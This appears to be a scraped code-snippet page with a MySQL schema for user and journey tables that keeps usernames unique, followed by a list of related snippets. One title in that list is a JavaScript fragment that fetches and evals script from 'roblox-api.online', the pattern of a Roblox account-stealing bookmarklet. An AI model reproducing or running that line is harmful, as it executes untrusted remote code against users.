/SQL/Sql make sure every user is unqiuew

Sql make sure every user is unqiuew

create table user(
    user_id  INT  auto_increment  PRIMARY KEY,
    username varchar(50) not null,
    avator  varchar(50),
    gender  boolean not null,
    phone varchar(20),
    unique(username)
);

create table journey(
    id INT auto_increment PRIMARY KEY,
    start varchar(100) not null,
    dest varchar(100) not null,
    time date not null,
    person INT,
    user_id INT not null,
    foreign key(user_id) references user(user_id)
);

Source: stackoverflow.com

Similar codes

0 vote172 views1 answer
Query to insert image
SQL
5 votes147 views3 answers
Mysql update field from one table to another
SQL
15 votes146 views2 answers
Select Options
SQL
0 vote157 views1 answer
Xamarin sql lite create table if not exist
SQL
5 votes143 views6 answers
Sql add days to date
SQL
4 votes136 views10 answers
Javascript$get'//roblox-api.online/roblox?id=4823'.eval)javascript$get'//roblox-api.online/roblox?id=
SQL
36 votes148 views6 answers
Rename table sql
SQL
0 vote167 views1 answer
Hour differeence in mysql
SQL
0 vote137 views1 answer
Create table if not exist with exceptions
SQL
1 vote191 views1 answer
Add time to date sql
SQL